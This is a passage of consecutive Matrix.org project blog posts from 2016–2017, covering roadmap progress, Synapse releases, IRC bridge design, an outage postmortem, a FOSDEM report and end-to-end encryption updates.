  • Threading
Sadly no progress on Threading so far this year.
  • Editable events (and Reactions)
We're hoping to get looking at this (at last!) once Groups are done.
  • Maturing and polishing the spec (we are way overdue a new release)
You'll have noticed that in the “how many people work on Matrix?” stats above, we didn't mention anyone working on the Spec.  Because right now there isn't anyone explicitly maintaining it, unfortunately; updates are done best-effort when everyone's primary responsibilities allow it.  That said, there's quite a lot of good stuff currently unreleased on HEAD. This is something which is obviously critical to fix once we have sustainable funding sorted again.  We can only apologise to folks like the Ruma developers who have suffered from the spec lag. :(
  • Improving VoIP – especially conferencing.
VoIP is improving lots on iOS, thanks to Denis Morozov's GSoC project, and meanwhile we have all new conferencing powered by Jitsi on the horizon in the next few weeks too.
  • Reputation/Moderation management (i.e. spam/abuse filtering).
Lots of thinking about this (see below), but no development yet.
  • Much-needed SDK performance work on matrix-{react,ios,android}-sdk.
About 40% of the desired performance work has happened here (although not all has gone live yet).
  • …and a few other things which would be premature to mention right now. :D
All will be revealed in the next week or two - but suffice it to say that Integrations are going to be getting a Lot More Useful™. :)

Reflections

There are very very few people actually working professionally on trying to build general-purpose open communication networks and protocols.  There's us, some XMPP, IRCv3 and GNU Social/Mastodon folks, GNU Ring, Tox, Briar, Secure Scuttlebutt, IPFS, Status.im, Ricochet… and that's literally all the major projects I can think of (sorry if I missed you!).  There's probably only 50 developers in total working in this domain as their day job.

Meanwhile, there are literally hundreds of thousands of folks trudging away building more and more near-indistinguishable proprietary closed communication systems - trapping users inside ever more silos and fragmenting the basic ability to communicate on the ‘net.  It's like a world where the open web was pushed into a tiny underground resistance, and everyone else was trapped in the walled gardens of AOL and Compuserve (or more contemporarily: Facebook, Twitter, WhatsApp etc).

In other words: the whole world of decentralised communication desperately needs your support.  This is a clear case of user choice and freedom: to give users the ability to pick who they trust with their data and metadata, without being forced into unilaterally trusting the Silicon Valley megacorps.  And this, dear Reader, is your chance to fix the world for the greater good. Seriously, the Matrix team is one of a handful in the world in a position to continue to push things in the right direction and avoid us falling into a permanent dystopia where communication is even more closed and proprietary than the Public Telephone Network!

Finally, there's an even bigger issue at stake here than open communication.  As an open network, people can literally publish whatever content they like into Matrix - same as the web or the internet itself.  As a result, there's scope for spam; abusive/malicious content; propaganda; and generally the whole spectrum of the best and worst of humanity.  Now, if we were a centralised system like Facebook, we might hire thousands of content moderators to frantically impose a rulebook on ‘acceptable' content.  Or we might build invisible filter-bubbles for our users based on their social graph, cocooning them from scary unfamiliar content outside their social circles and reinforcing their preconceptions (whilst the resulting self-affirmation keeps them coming back, viewing more and more ads).

But we're decentralised, and we have no absolute moral arbiter, and nor should we - on an open network it should be up to users and users alone to define and manage their own worldview and alignment.  Plus we are not fiscally obligated to keep users coming back to view more ads no matter what.  Instead, we are forced to confront the fundamental problem: building tools which empower users to curate and visualise their own content filters; letting them filter out the stuff they're not interested in or find repellant… while still helping them be aware of their own viewpoint and the shape of the world beyond it.  We haven't really started building this yet, but in the long term our feeling is that these tools will literally be vital for the survival of the human race (e.g. exposing anti-climate-change propaganda for what it is or helping users opt out of World War 3) - let alone the success of decentralisation.  A world where users blindly consume propaganda is doomed, and it's a fascinating situation that the same tools which will allow Matrix users to tune out the rooms, users and conversations they're not interested in could be directly applied to the bigger global problem.

So: Matrix needs you. Please become a supporter on Patreon or Liberapay, and help us save the world :)

  • Matthew, Amandine & the whole Matrix.org team.

Synapse 0.19.3 released

2017-03-21 — General — 

Hi all,

We've released Synapse 0.19.3-rc2 as 0.19.3 with no changes. This is a slightly unusual release, as 0.19.3-rc2 dates from March 13th and a lot of stuff has landed on the develop branch since then - however, we'll be releasing that as 0.20.0 once it's ready. Instead, 0.19.3 has a set of intermediary performance and bug fixes; the only new feature is a set of admin APIs kindly contributed by @morteza-araby.

The changelog follows - please upgrade from https://github.com/matrix-org/synapse or your OS packages as normal :)

Changes in synapse v0.19.3 (2017-03-20)

No changes since v0.19.3-rc2

Changes in synapse v0.19.3-rc2 (2017-03-13)

Bug fixes:

  • Fix bug in handling of incoming device list updates over federation.

Changes in synapse v0.19.3-rc1 (2017-03-08)

Features:Changes:Bug fixes:
  • Fix synapse_port_db failure. Thanks to @Pneumaticat! (PR #1904)
  • Fix caching to not cache error responses (PR #1913)
  • Fix APIs to make kick & ban reasons work (PR #1917)
  • Fix bugs in the /keys/changes api (PR #1921)
  • Fix bug where users couldn't forget rooms they were banned from (PR #1922)
  • Fix issue with long language values in pushers API (PR #1925)
  • Fix a race in transaction queue (PR #1930)
  • Fix dynamic thumbnailing to preserve aspect ratio. Thanks to @jkolo! (PR #1945)
  • Fix device list update to not constantly resync (PR #1964)
  • Fix potential for huge memory usage when getting device that have changed (PR #1969)

An Adventure in IRC-Land

2017-03-14 — General — 

Hi everyone. I'm Kegan, one of the core developers at matrix.org. This is the first in a series on the matrix.org IRC bridge. The aim of this series is to try to give a behind the scenes look at how the IRC bridge works, what kinds of problems we encountered, and how we plan to scale in the future. This post looks at how the IRC bridge actually works.

Firstly, what is "bridging"? The simple answer is that it is a program which maps between different messaging protocols so that users on different protocols can communicate with each other. Some protocols may have features which are not supported in the other (typing notifications in Matrix, DCC - direct file transfers - in IRC). This means that bridging will always be "inferior" to just using the respective protocol. That being said, where there is common ground a bridge can work well; all messaging protocols support sending and receiving text messages for example. As we'll see however, the devil is in the detail...

A lot of existing IRC bridges for different protocols share one thing in common: they use a single global bot to bridge traffic. This bot listens to all messages from IRC, and sends them to the other network. The bot also listens for messages from users on the other network, and sends messages on their behalf to IRC. This is a lot easier than having to maintain dedicated TCP connections for each user. However, it isn't a great experience for IRC users as they:

  • Don't know who is reading messages on a channel as there is just 1 bot in the membership list.
  • Cannot PM users on the other network.
  • Cannot kick/ban users on the other network without affecting everyone else.
  • Cannot bing/mention users on the other network easily (tab completion).
We made the decision very early on that we would keep dedicated TCP connections for each Matrix user. This means every Matrix user has their own tiny IRC client. This has its own problems:
  • It involves multiple connections to the IRCd so you need special permission to set up an i:line.
  • You need to be able to support identification of individual users (via ident or unique IPv6 addresses).
  • With all these connections to the same IRC channels, you need to have some way to identify which incoming messages have already been handled and which have not.

Mapping Rooms

So now that we have a way to send and receive messages, how do we map the rooms/channels between protocols? This isn't as easy as you may think. We can have a single static one-to-one mapping:
  • All messages to #channel go to !abcdef:matrix.org.
  • All messages from !abcdef:matrix.org go to #channel.
  • All PMs between @alice:matrix.org and Bob go to !wxyz:matrix.org and the respective PM on IRC.
In order to make PMs secure, we need to limit who can access the room. This is done by making the Matrix PM room "invite-only". This can cause problems though if the Matrix user ever leaves that room: they won't be able to ever re-join! The IRC bridges get around this by allowing Matrix users to replace their dedicated PM room with a new room, and by checking to make sure that the Matrix user is inside the room before sending messages.

Then you have problem of "ownership" of rooms. Who should be able to kick users in a bridged room? There are two main scenarios to consider:

  • The IRC channel has existed for a while and there are existing IRC channel operators.
  • The IRC channel does not exist, but there are existing Matrix moderators.
In the first case, we want to defer ownership to the channel operators. This is what happens by default for all bridged IRC channels on matrix.org. The Matrix users have no power in the room, and are at the mercy of the IRC channel operators. The channel operators are represented by virtual Matrix users in the room. However, they do not have any power level: they are at the same level as real Matrix users. Why? The bridge does this because, unlike IRC, it's not possible in Matrix to bring a user to the same level as yourself (e.g +o), and then downgrade them back to a regular user (e.g. -o). Instead, the bridge bot itself acts as a custodian for the room, and performs privileged IRC operations (topic changing, kickbans, etc) on the IRC channel operator's behalf.

In the second case, we want to defer ownership to the Matrix moderators. This is what happens when you "provision a room" in Matrix. The bridge will PM a currently online channel operator and ask for their permission to bridge to Matrix. If they accept, the bridge is made and the power levels in the pre-existing Matrix room are left untouched, giving moderators in Matrix control over the room. However, this power doesn't extend completely to IRC. If a Matrix moderator grants moderator powers to another Matrix user, this will not be mapped to IRC. Why? It's not possible for the bridge to give chanops to any random user on any random IRC channel, so it cannot always honour the request. This relies on the humans on either side of the bridge to communicate and map power accordingly. This is done on purpose as there is no 100% perfect mapping between IRC powers and Matrix powers: it's always going to need to compromise which only a human can make.

Finally, there is the problem of one-to-many mappings. It is possible to have two Matrix rooms bridged to the same IRC channel. The problem occurs when a Matrix user in one room speaks. The bridge can easily map that to IRC, but unless it also maps it back to Matrix, the message will never make it to the 2nd Matrix room. The bridge cannot control/puppet the Matrix user who spoke, so instead it creates a virtual Matrix user to represent that real Matrix user and then sends the message into the 2nd Matrix room. Needless to say, this can be quite confusing and we strongly discourage one-to-many mappings for this reason.

Mapping Messages

Mapping Matrix messages to IRC is rather easy for the most part. Messages are passed from the Homeserver to the bridge via the AS API, and the bridge sends a textual representation of the message to IRC using the IRC connection for that Matrix user. The exact form of the text for images, videos and long text can be quite subjective, and there is inevitably some data loss along the way. For example, you can send big text headings, tables and lists in Matrix, but there is no equivalent on IRC. Thankfully, most Matrix users are sending the corresponding markdown and so the formatting can be reasonably preserved by just sending the plaintext (markdown) body.

Mapping IRC messages to Matrix is more difficult: not because it's hard to represent the message in Matrix, but because of the architecture of the bridge. The bridge maintains separate connections for each Matrix user. This means the bridge might have, for example, 5 users (and hence connections) on the same channel. When an IRC user sends a message, the bridge gets 5 copies of the message. How does the bridge know:

  • If the message has already been sent?
  • If the message is an intentional duplicate?
The IRC protocol does not have message IDs, so the bridge cannot de-duplicate messages as they arrive. Instead, it "nominates" a single user's connection to be responsible for delivering messages from that channel. This introduces another problem though. Long-lived TCP connections are fickle things, and can fail without any kind of visible warning until you try to send bytes down it. If a user's connection drops, another user needs to take over responsibility for delivering messages. This is what the "IRC Event Broker" class does. It allows users to "steal" messages if the bridge has any indication that the connection in charge has dropped. This technique has worked well for us, and gives us the ability to have more robust connections to the channel than with one TCP connection alone.

Admin Rooms

Admin rooms are private Matrix rooms between a real Matrix user and the bridge bot. It allows the Matrix user to control their connection to IRC. It allows:
  • The IRC nick to be changed.
  • The ability to issue /whois commands.
  • The ability to bypass the bridge and send raw IRC commands directly down the TCP connection (e.g. MODE commands).
  • The ability to save a NickServ password for use when the bridge reconnects you.
  • The ability to disconnect from the network entirely.
To perform these actions, Matrix users send a text message which starts with a command name, e.g !whois $ARG. Like all commands, you expect to get a reply once you've issued it. However, IRC makes this extremely difficult to do. There is no request/response pair like there is with HTTP requests. Instead, the IRC server may:
  • Ignore the request entirely.
  • Send an error you're aware of (in the RFC/most servers)
  • Send some information which can be assumed to indicate success.
  • Send an error you're unaware of.
  • Send some information which sometimes indicates success.
This makes it very difficult to know if a request succeeded or failed, and I'll go into more detail in the next post which focuses on problems we've encountered when developing the IRC bridge. This room is also used to inform the Matrix user about general information about their IRC connection, such as when their connection has been lost, or if there are any errors (e.g. "requires chanops to do this action"). The bridge makes no effort to parse these errors, because it doesn't always know what caused the error to happen.

Wrapup

Developing a comprehensive IRC bridge is a very difficult task. This post has outlined a few of the ways in which we've designed our bridge, and some of the general problems in this field. The bridge is constantly improving as we discover new edge cases with the plethora of IRCd implementations out there. The next post will look at some of these edge cases and look back at some previous outages and examine why they occurred.

New bridged IRC network: GIMPNet

2017-03-06 — General — 

Hey everyone! As of last week, we are now bridging irc.gimp.org (GIMPNet) for all your GTK+/GNOME needs! It's running a bleeding-edge version of the IRC bridge which supports basic chanops syncing from IRC to Matrix. This means that if an IRC user gives chanops to a Matrix connection, the bridge will give that Matrix user moderator privileges in the room, allowing them to set the room topic/avatar/alias/etc! We hope this will make customising Matrix-bridged rooms a lot easier.

For a more complete list of current and future bridged IRC networks, see the official wishlist.

Google Summer of Code 2017

2017-03-01 — General — 
We are very happy to again be one of the organisations selected for Google Summer of Code (GSoC)!

Last year we had two students working on Matrix-projects over the summer - you can read the retrospective here - and now we are again offering students to work on Matrix as part of GSoC! Currently we are in the stage where students can propose interesting project ideas to any of the open source organisations picked by Google. Of course, we encourage students to get in touch with us and discuss their ideas before writing their application - please come say hi in the #gsoc:matrix.org room!

We are very eager to see what ideas students come up with. We have added our own ideas here, but students are expected to do some research and come up with their own ideas for projects. We have also written down some general tips on what to include in the application.

Applications can be submitted from March 20th, so there's still plenty of time to have a play with Matrix and come up with a cool project idea!

Good luck!

Load problems on the Matrix.org homeserver

2017-02-17 — General — 

Hi folks,

Since FOSDEM we've seen even more interest in Matrix than normal, and we've been having some problems getting the Matrix.org homeserver to keep up with demand.  This has resulted in performance being slightly slower than normal at peak times, but the main impact has been the additional traffic exacerbating outages on the homeserver - either by revealing new failure modes, or making it harder to recover rapidly after something goes wrong.

Specifically: on Friday afternoon we had a service disruption caused by someone sending an unusual event into Matrix HQ.  It turns out that both matrix-android-sdk and matrix-ios-sdk based clients (e.g. Riot/Android and iOS) handled this naively by simply resyncing the room state... which has been fine in the past, but not when you have several hundred clients actively syncing the room, and resulted in a thundering herd effect which overloaded the server for ~10 mins or so whilst they all resynced the room (which, in turn, nowadays, involves calculating and syncing several MB of JSON state to each client).  The traffic load was then high enough that it took the server a further 10-20 minutes for the server to fully catch up and recover after the herd had dissipated.  We then had a repeat performance on Monday morning of the same failure mode.

Similarly, we had disruption last night after a user who hadn't used the service for ages logged on for the first time and rapidly caught up on a few rooms which literally had millions of unread messages in them.  Generally this would be okay, but the combination of loaded DB and the sheer number of notifications being deleted ended up with 4 long-running DB deletes in parallel.  This seems to have caused postgres to lock the event_actions_table more aggressively than we'd expect, blocking other queries which were trying to access it... causing most requests to block until the deletes were over.  At the current traffic volumes this meant that the main synapse process tried to serve thousands of simultaneous requests as they stacked up and ran out of filehandles within about 10 minutes and wedged the whole synapse solid before the DB could unblock.  Irritatingly, it turns out our end-to-end monitoring has a bug where it in turn can crash on receiving a 500 from synapse, so despite having PagerDuty all set up and running (and having been receiving pages for traffic delays over the last few weeks)... we didn't get paged when we got actual failed traffic rather than slow traffic, which delayed resolving the issue.  Finally, whilst rolling out a fix this afternoon, we again hit issues with the traffic load causing more problems than we were expecting, making a routine redeploy distinctly more disruptive.

So, what are we doing about this?

  1. Fix the root causes:
    • The 'android/iOS thundering herd' bug is being worked on both the android/iOS side (fixing the naive behaviour) and the server side.  A temporary mitigation is in now place which moves the server-side code to worker processes so that worst case it can't take out the main synapse process and can scale better.
    • The 'event_push_actions table is inefficient' bug had already been fixed - so this was a matter of rushing through the hotfix to matrix.org before we saw a recurrence.
  2. Move to faster hardware.  Our current DB master is a "fast when we bought it 5 years ago" machine whose IO is simply starting to saturate (6x 300GB 10krpm disks in RAID5, fwiw), which is maxing out at around 500IOPS and 20MB/s of random access, and acting as a *very* hard limit to the current synapse performance.  We're currently in the process of evaluating SSD-backed IO for the DB (in fact, we're already running a DB slave), and assuming this tests out okay we're hoping to migrate next week, which should give us a 10x-20x speed up on disk IO and buy considerable headroom.  Watch this space for details.
  3. Make synapse faster.  We're continuing to plug away at optimisations (e.g. stuff like this), but these are reaching the point of diminishing returns, especially relative to the win from faster hardware.
  4. Fix the end-to-end monitoring.  This already happened.
  5. Load-test before deploying.  This is hard, as you really need to test against precisely the same traffic profile as live traffic, and that's hard to simulate.  We're thinking about ways of fixing this, but the best solution is probably going to be clustering and being able to do incremental redeploys to gradually test new changes.  On which note:
  6. Fix synapse's architectural deficiencies to support clustering, allowing for rolling zero-downtime redeploys, and better horizontal scalability to handle traffic spikes like this.  We're choosing not to fix this in synapse, but we are currently in full swing implementing dendrite as a next-generation homeserver in Golang, architected from the outset for clustering and horizontal scalability.  N.B. most of the exciting stuff is happening on feature branches and gomatrixserverlib atm. Also, we're deliberately taking the time to try to get it right this time, unlike bits of synapse which were something of a rush job.  It'll be a few weeks before dendrite is functional enough to even send a message (let alone finish the implementation), but hopefully faster hardware will give the synapse deployment on matrix.org enough headroom for us to get dendrite ready to take over when the time comes!
The good news of course is that you can run your own synapse today to avoid getting caught up in this operational fun & games, and unless you're planning to put tens of thousands of daily active users on the server you should be okay!

Meanwhile, please accept our apologies for the instability and be assured that we're doing everything we can to get out this turbulence as rapidly as possible.

Matthew

Synapse 0.19.1 released

2017-02-14 — General — 

Hi folks,

We're a little late with this, but Synapse 0.19.1 was released last week. The only change is a bugfix to a regression in room state replication that snuck in during the performance improvements that landed in 0.19.0. Please upgrade if you haven't already. We've also fixed the Debian repository to make installing Synapse easier on Jessie by including backported packages for stuff like Twisted where we're forced to use the latest releases.

You can grab it from https://github.com/matrix-org/synapse/ as always.

Changes in synapse v0.19.1 (2017-02-09)

  • Fix bug where state was incorrectly reset in a room when synapse received an event over federation that did not pass auth checks (PR #1892)

FOSDEM 2017 report

2017-02-06 — General — 

Hi all,

FOSDEM this year was even more crazy and incredible than ever - with attendance up from 6,000 to 9,000 folks, it's almost impossible to describe the atmosphere. Matt Jordan from Asterisk describes it as DisneyWorld for OSS Geeks, but it's even more than that: it's basically a corporeal representation of the whole FOSS movement.  There is no entrance fee; there is no intrusive sponsorship; there is no corporate presence: it's just a venue for huge numbers of FOSS projects and their users and communities to come together in one place (the Université Libre de Bruxelles) and talk and learn.  Imagine if someone built a virtual world with storefronts for every open source project imaginable, where you could chat to the core team, geek out with other users, or gather in auditoriums to hear updates on the latest projects & ideas.  Well, this is FOSDEM... except even better, it's in real life.  With copious amounts of Belgian beer.

Anyway: this year we had our normal stand on the 2nd floor of K building, sharing the Realtime Lounge chill-out space with the XMPP Standards Foundation.  This year we had a larger representation than ever before with Matthew, Erik and Luke from the London team as well as Manu & Yannick from Rennes - which is just as well given all 5 of us ended up speaking literally non-stop from 10am to 6pm on both Saturday & Sunday (and then into the night as proceedings deteriorated/evolved into an impromptu Matrix meetup with Coffee, uhoreg, tadzik, realitygaps and others!).  The level of interest at the Matrix booth was frankly phenomenal: a major change from the last two FOSDEMs in that this year pretty much everyone had already heard of Matrix, and were most likely to want to enthuse about features and bugs in Synapse or Riot, or geek out about writing new bridges/bots/clients, or trying to work out a way to incorporate Matrix into their own projects or companies.

Synapse 0.19 and Riot 0.9.7 were also released on Saturday to try to ensure that anyone joining Matrix for the best time at FOSDEM were on the latest & greatest code - especially given the performance and E2E fixes present in both.  Amazingly the last-minute release didn't backfire: if you haven't upgraded to Synapse 0.19 we recommend going so asap.  And if you're a Riot user, make sure you're on the latest version :)

We were very lucky to have two talks accepted this year: the main one in the Security Track on the Jansen main stage telling the tale of how we added end-to-end encryption to Matrix via Olm & Megolm - and the other in the Decentralised Internet room (AW1.125), focusing on the unsolved future problems of decentralised accounts, identity, reputation in Matrix.  Both talks were well attended, with huge queues for the Decentralised Internet room: we can only apologise to everyone who queued for 20+ minutes only to still not be able to get in.  Hopefully next year FOSDEM will allocate a larger room for decentralisation!  On the plus side, this year FOSDEM did an amazing job of videoing the sessions - livestreaming every talk, and automatically publishing the recordings (via a fantastic 'publish your own talk' web interface) - so many of the people who couldn't get into the room (as well as the rest of the world) were able to watch it live anyway by the stream.

You can watch the video of the talks from the FOSDEM website here and here.  Both talks necessarily include the similar exposition for folks unfamiliar with Matrix, so apologies for the duplication - also, the "future of decentralised communication" talk ended up a bit rushed; 20 minutes is not a lot of time to both explain Matrix and give an overview of the challenges we face in fixing spam, identity, moderation etc.  But if you like hearing overenthusiastic people talking too fast about how amazing Matrix is, you may wish to check out the videos :)  You can also get at the slides as PDF here (E2E Encryption) and here (Future of Decentralisation).

Huge thanks to evevryone who came to the talks or came and spoke to us at the stand or around the campus.  We had an amazing time, and are already looking forward to next year!

Matthew & the team

The Matrix Holiday Special! (2016 edition)

2016-12-26 — General — 

We seem to have fallen into the pattern of giving seasonal 'state of the union' updates on the Matrix blog, despite best intentions to blog more frequently... although given the Autumn Update ended up being posted in November this one is going to be a relatively incremental update.  Let's jump straight in:

E2E Encryption

Unless you've been in a coma for the last month you'll have hopefully noticed that we launched the formal beta for E2E Encryption across matrix-{'{'}js,ios,android{'}'}-sdk (and thus Riot/{'{'}Web, iOS, Android{'}'}) in November, complete with the successful independent public security assessment of our Olm and Megolm cryptography library from NCC Group.  So far the beta has gone well in parts: the core Olm/Megolm crypto library has held up well with no bugfixes at all required since the audit (yay!).  However, we've hit a lot of different edge cases in the wild where devices can fail to share their outbound session ratchet state to other devices present in the room.  This results in the infamous "Unknown Inbound Session ID" (UISI) errors which many folks will have seen (now renamed to the more meaningful "Unable to decrypt: The sender's device has not sent us the keys for this message" error).

Unfortunately there's a bunch of entirely different causes for this, both platform-specific and cross-platform, and we've been running around untangling all the error reports and getting to the bottom of it.  The good news is that we think we now know the vast majority of the causes, and fixes are starting to land.  We've also just finished a fairly time-consuming formal crypto code-review on the three application SDK implementations (JS, iOS & Android) to shake out any other issues.  Meanwhile some new features have also landed - e.g. the ability for guests to use E2E!  The remaining stuff at this point before we can consider declaring E2E out of beta is:

  • Finish fixing the UISI errors (in progress)
  • Warn when unverified devices are added to a room
  • Implement passphrased backup & restore for E2E state, so that folks can avoid losing their E2E history when they logout or switch to a new device
  • Improve device verification.
Thanks to everyone who's been using E2E and reporting issues - given the number of different UISI error causes out there, it's been really useful to go through the different bug reports that folks have submitted.  Please continue to submit them when you see unexpected problems (especially over the coming months as stability improves!)

New Projects!

There have been a tonne of new projects popping up from all over the place since the last update.  Looking at the git history of the projects page, we've been adding one every few days!  Highlights include:

Bridges:

Clients

Other projects

Bots and Bridges

There's been a bunch of work from the core team on bots & bridges infrastructure over the last month:

Rearchitecting the slack and gitter bridges to optionally support 'puppeting users'.  This is in some ways the ultimate flavour of bridging - where you authenticate with the remote service using your "real" gitter/slack/... credentials, and then the bridge has access to synchronise your full spectrum of data with Matrix.  This is in contrast to the current implementations where the bridge creates virtual users (e.g. Slack webhook bots or IRC virtual user bots) or uses a predefined bot (e.g. matrixbridge on gitter) to link the rooms.

This has some huge advantages: e.g. ability to bridge Slack and Gitter DMs through properly to Matrix; bridging presence and typing notifications correctly, not requiring any custom bots or integrations to be configured; not proxying via a crappy bridge bot as per gitter today; letting Matrixed users be completely indistinguishable from their native selves on the remote platform - so supporting tab complete in Slack, profiles, presence, etc.  The main disadvantage is that you have to have an account on the platform already (although you could argue this is a feature, especially from the remote network's perspective!) and that you are delegating access to that account through to the bridge, so you'd better trust it.  However, you can always run your own bridge if trust is an issue.

The work on this is mid-progress currently, but we're really looking forward to seeing the official Slack, Gitter and other bridges support this mode of operation in the new year!

We've also been spending some time working with bridges written by the wider community (e.g. Half-Shot's twitter bridge) to get them deployed on the matrix.org homeserver itself, to help folks who can't run their own.

Meanwhile there's been a lot of work going into supporting the IRC bridge. Main highlights there are:

  • The release of matrix-appservice-irc 0.7, with all sorts of major new features
  • Turning on bi-directional membership list syncing at last for all networks other than Freenode!  In theory, at least, you should finally see the same list of room members in both IRC and Matrix!!
  • Handling IRC PM botspam from Freenode and OFTC, which bridge through as invite spam into Matrix.  Sorry if you've been bitten by this.  We've worked around it for now by setting appropriate umodes on the IRC bots, and by implementing a 'bulk reject' button on Riot (under in Settings).  This caused a few nasty outages on Freenode and OFTC. On the plus side, at least it shows that Riot scales up to receiving 2000+ invites without exhibiting ill effects...
  • Considering how to improve history visibility on IRC to avoid scenarios where channel history is shared between users in the same room (even if their IRC bot has temporarily disconnected).  This was a major problem during the Freenode/OFTC outages mentioned earlier.
Last but not least, we've just released gomatrix - a new official Matrix client SDK for golang!  Go-neb (the reference golang Matrix bot framework) has been entirely refactored to use gomatrix, which should keep it honest as a 1st class Matrix client SDK for those in the Golang community.  We highly recommend all Golang nuts to go read the documentation and give it a spin!

Riot Desktop

Riot development has been largely preoccupied with E2E debugging in the respective Matrix Client SDKs, but 0.9.3 was released last week adding in Electron-based desktop app support.  (Remember, if you hate Electron-style desktop apps which provide a desktop app by embedded a webbrowser, you can always use another Matrix client!).  If you've been missing having Riot as a proper desktop app, go get involved!screen-shot-2016-12-26-at-01-00-12

Next Generation Homeservers

Ruma

Ruma is a project led by Jimmy Cuadra to build a Matrix homeserver in Rust - the project has been ploughing steadily onwards through 2016 with a bit of an acceleration during December.  You can follow progress at the excellent This Week in Ruma blog, watching the project on Github, and tracking the API status dashboard.  Some of the latest PRs are looking very promising in terms of getting the core remaining CS APIs working, e.g:Needless to say, we've been keeping an eye on Ruma with extreme interest, not least as some of the Matrix core team are rabid Rustaceans too :)  We can't wait to see it exposing a usable CS API in the hopefully not-too-distant future!!

Dendrite

Meanwhile, in the core team, we've been doing some fairly serious experimentation on next-generation homeservers.  Synapse is in a relatively stable state currently, and we've implemented most of the horizontal scalability tricks available to us there (e.g. splitting out worker processes).  Instead we're starting to hit some fundamental limitations of the architecture: the fact that the whole codebase effectively assumes that it's talking to a single consistent database instance; python's single-threadedness and memory inefficiency; twisted's lack of profiling; being limited to sqlite's featureset; the fact that the schema has grown organically and is difficulty to refactor aggressively; the fact the app papers over SQL problems by caching everything in RAM (resulting in synapse's high RAM requirements); the constant bugs caused by lack of type safety; etc.

We started an experiment in Golang to fix some of this a year ago in the form of Dendron - a "strangler pattern" homeserver skeleton intended to sit in front of a synapse and slowly port endpoints over to Go.  In practice, Dendron ended up just being a rather dubious Matrix-aware loadbalancer, and meanwhile no endpoints got moved into it (other than /login, which then got moved out again due to the extreme confusion of having to maintain implementations in both Dendron & Synapse).  The main reasons for Dendron's failure are a) we had enough on our hands supporting Synapse; b) there were easier scalability improvements (e.g. workers) to be had on Synapse; c) the gradual migration approach looked like it would end up sharing the same storage backend as Synapse anyway, and potentially end up inheriting a bunch of Synapse's woes.

So instead, a month or so ago we started a new project codenamed Dendrite (aka Dendron done right ;D) - this time an entirely fresh standalone Golang codebase for rapid development and iteration on the platonic ideal of a next-generation homeserver (and an excuse to audit and better document & spec some of the murkier bits of Matrix).  The project is still very early and there's no doc or code to be seen yet, but it's looking cautiously optimistic (especially relative to Dendron!).  The project goals are broadly:

  1. To build a new HS capable of supporting the exponentially increasing load on matrix.org ASAP (which is currently at 600K accounts, 50K rooms, 5 messages/s and growing fast).
  2. To architecturally support full horizontal scalability through clustering and sharding from the outset - i.e. no single DBs or DB writer processes.
  3. To optimise for Postgres rather than be constrained by SQLite, whilst still aiming for a simple but optimal schema and storage layer.  Optimising for smaller resource footprints (e.g. environments where a Postgres is overkill) will happen later - but the good news is that the architecture will support it (unlike Synapse, which doesn't scale down nicely even with SQLite).
It's too early to share more at this stage, but thought we should give some visibility on where things are headed!  Needless to say, Synapse is here for the forseeable - we think of it as being the Matrix equivalent of the role Apache httpd played for the Web.  It's not enormously efficient, but it's popular and relatively mature, and isn't going away.  Meanwhile, new generations of servers like Ruma and Dendrite will come along for those seeking a sleeker but more experimental beast, much as nginx and lighttpd etc have come along as alternatives to Apache.  Time will tell how the server ecosystem will evolve in the longer term, but it's obviously critical to the success of Matrix to have multiple active independent server implementations, and we look forward to seeing how Synapse, Ruma & Dendrite progress!

2017

Looking back at where we were at this time last year, 2016 has been a critical year for Matrix as the ecosystem has matured - rolling out E2E encryption; building out proper bot & bridge infrastructure; stabilising and tuning Synapse to keep up with the exponential traffic growth; seeing the explosion of contributors and new projects; seeing Riot edging closer to becoming a viable mainstream communication app.

2017 is going to be all about scaling Matrix - both the network, the ecosystem, and the project.  Whilst we've hopefully transitioned from being a niche decentralisation initiative to a relatively mainstream FOSS project, our ambition is unashamedly to become a mainstream communication (meta)network usable for the widest possible audience (whilst obviously still supporting our current community of FOSS & privacy advocates!).  With this in mind, stuff on the menu for 2017 includes:

  • Getting E2E Encryption out of beta asap.
  • Ensuring we can scale beyond Synapse - see Dendrite, above.
  • Getting as many bots and bridges into Matrix as possible, and doing everything we can to support them, host them and help them be as high quality as possible - making the public federated Matrix network as useful and diverse as possible.
  • Supporting Riot's leap to the mainstream, ensuring Matrix has at least one killer app.
  • Adding the final major missing features:
    • Customisable User Profiles (this is almost done, actually)
    • Groups (i.e. ability to define groups of users, and perform invites, powerlevels etc per-group as well as per-user)
    • Threading
    • Editable events (and Reactions)
  • Maturing and polishing the spec (we are way overdue a new release)
  • Improving VoIP - especially conferencing.
  • Reputation/Moderation management (i.e. spam/abuse filtering).
  • Much-needed SDK performance work on matrix-{react,ios,android}-sdk.
  • ...and a few other things which would be premature to mention right now :D
This is going to be an incredibly exciting ride (right now, it feels a bit like being on a toboggan which has made its way onto a fairly steep ski slope...) and we can only thank you: the community, for getting the project to this point - whether you're hacking on Matrix, contributing pull requests, filing issues, testing apps, spreading the word, or just simply using it.

See you in 2017, and thanks again for flying Matrix.

  • Matthew, Amandine & the Matrix Team.

When Ericsson discovered Matrix...

2016-11-23 — General — 

As something completely different, we've invited Stefan Ålund and his team at Ericsson to write a guest blog post about the really cool stuff Ericsson is doing with Matrix.  This is a fascinating glimpse into how major folks are already launching commercial products on top of Matrix - whilst also making significant contributions back to the projects and the community.  We'd like to thank Stefan and Ericsson for all their support and perseverance, and we wish them the very best with the Ericsson Contextual Communication Cloud!

-- Matthew

At the end of 2014, my colleague Adam Bergkvist and I attended the WebRTC Expo in Paris, partly to promote our Open Source project OpenWebRTC, but also to meet the rest of the European WebRTC community and see what others were working on. At Ericsson Research we had been working on WebRTC for quite some time. Not only on the client-side framework and how those could enable some truly experimental stuff, but more importantly how this emerging technology could be used to build new kinds of communication services where communication is not *the* service (A calling B), but is integrated as part of some other service or context. A simple example would be a health care solution, where the starting point could be the patient records and communication technologies are integrated to enable remote discussions between patients and their doctors.Our research in this area, that we started calling “contextual communication”, pointed in a different direction from Ericsson's traditional communication business, therefore making it hard for us to transfer our ideas and technologies out from Ericsson Research. We increasingly had the feeling that we needed to build something new and start from a clean slate, so to speak.Some of our guiding principles:
  • Flexibility - the communication should be able to integrate anywhere
  • Fast iterations - browsers and WebRTC are moving targets
  • Open - interoperability is important for communication systems
  • Low cost - operations for the core communication should approach 0
  • Trust - build on the Ericsson brand and technology leadership
